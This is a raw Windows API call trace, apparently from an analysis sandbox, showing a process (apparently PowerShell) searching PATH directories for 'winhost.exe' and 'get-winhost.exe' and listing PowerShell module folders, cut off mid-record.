GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0144.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0144.705] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0144.705] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0144.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.705] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0144.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0144.706] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0144.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.706] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0144.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.706] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0144.706] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0144.706] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0144.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0144.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6bc) returned 1 [0144.707] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843e738 | out: lpFileInformation=0x843e738*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6b8) returned 1 [0144.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e738) returned 1 [0144.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0144.707] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0144.707] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\winhost.exe.*", lpFindFileData=0x843e460 | out: lpFindFileData=0x843e460*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6d8) returned 1 [0144.707] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6e4) returned 1 [0144.707] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.707] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="땠ݥ솰ܺ;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x0 [0144.707] CoTaskMemFree (pv=0x7731840) [0144.707] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.707] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0144.707] CoTaskMemFree (pv=0x7731840) [0144.708] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.708] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0144.708] CoTaskMemFree (pv=0x7731840) [0144.708] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x323fc20 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0144.708] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.708] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0144.708] CoTaskMemFree (pv=0x7731840) [0144.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0144.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0144.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.708] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x2410, ftCreationTime.dwLowDateTime=0xac5d590c, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xac5d590c, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xac5d590c, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.708] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.708] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x24 [0144.708] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x24, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0144.708] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0144.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.709] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0144.709] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0144.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.709] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.709] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.709] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0144.710] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0144.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.710] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0144.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.710] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0144.710] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.710] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0144.710] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0144.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.711] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0144.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0144.711] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0144.711] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0144.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0144.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e630) returned 1 [0144.711] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843e6ac | out: lpFileInformation=0x843e6ac*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0144.711] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e62c) returned 1 [0144.711] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6ac) returned 1 [0144.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0144.711] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0144.712] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\get-winhost.exe.*", lpFindFileData=0x843e3d4 | out: lpFindFileData=0x843e3d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0144.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e64c) returned 1 [0144.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e658) returned 1 [0144.712] CoTaskMemAlloc (cb=0x2cc) returned 0x7731840 [0144.712] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x7731840, nSize=0x164 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0144.712] CoTaskMemFree (pv=0x7731840) [0144.713] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0144.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6dc) returned 1 [0144.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0144.713] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0144.713] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x843e404 | out: lpFindFileData=0x843e404*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, 